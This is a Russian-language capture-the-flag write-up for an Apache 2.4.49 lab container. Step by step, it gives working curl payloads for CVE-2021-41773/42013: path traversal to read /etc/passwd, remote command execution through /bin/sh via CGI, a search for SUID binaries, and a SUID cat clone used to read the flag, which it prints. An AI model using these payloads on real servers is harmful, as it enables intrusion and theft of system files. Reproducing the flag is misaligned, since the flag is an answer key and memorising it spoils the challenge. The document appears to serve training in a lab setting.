2.3 KiB
2.3 KiB
Информация для участников
- Образ на базе
vulhub/httpd:2.4.49, включёнmod_cgiиScriptAlias /cgi-bin/. - Версия Apache уязвима к CVE-2021-41773/42013 (traversal → RCE при включённом CGI).
- В контейнере есть пользователь
flaggerс флагом в/home/flagger/flag.txt. - Для чтения флага подготовлен SUID-клон
catпо пути/opt/dir/ping.
Решение (пошаговый райтап)
1.
curl -I http://<ip>:<port>/→ заголовокServer: Apache/2.4.49 (Unix).curl http://<ip>:<port>/cgi-bin/test.shвыдаётCGI is working!, значит CGI разрешён.
2.
Apache 2.4.49/2.4.50 некорректно обрабатывает последовательность .%2e/, поэтому с --path-as-is можно выйти за ScriptAlias.
curl --path-as-is http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
Успешное чтение /etc/passwd подтверждает уязвимость.
3.
При включённом CGI можно вызвать системную sh напрямую:
curl --path-as-is -X POST \
'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
--data 'echo Content-Type: text/plain; echo; id'
Команда выполняется от имени www-data.
4.
Через RCE находим SUID-бинарники и видим подготовленный /opt/dir/ping:
curl --path-as-is -X POST 'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
--data 'echo Content-Type: text/plain; echo; find / -perm -4000 -type f 2>/dev/null'
Так как директория flagger недоступна www-data, используем этот SUID-клон cat.
5.
Передаём полный путь к флагу в SUID-бинарник (не забывая про заголовок для CGI):
curl --path-as-is -X POST \
'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
--data 'echo Content-Type: text/plain; echo; /opt/dir/ping /home/flagger/flag.txt'
Ответом придёт содержимое флага.
Флаг
caplag{61102b34a11186dd03f6ffd2dd2892b9fc22bd137e5d2d29c6fdd804ac45ef8c}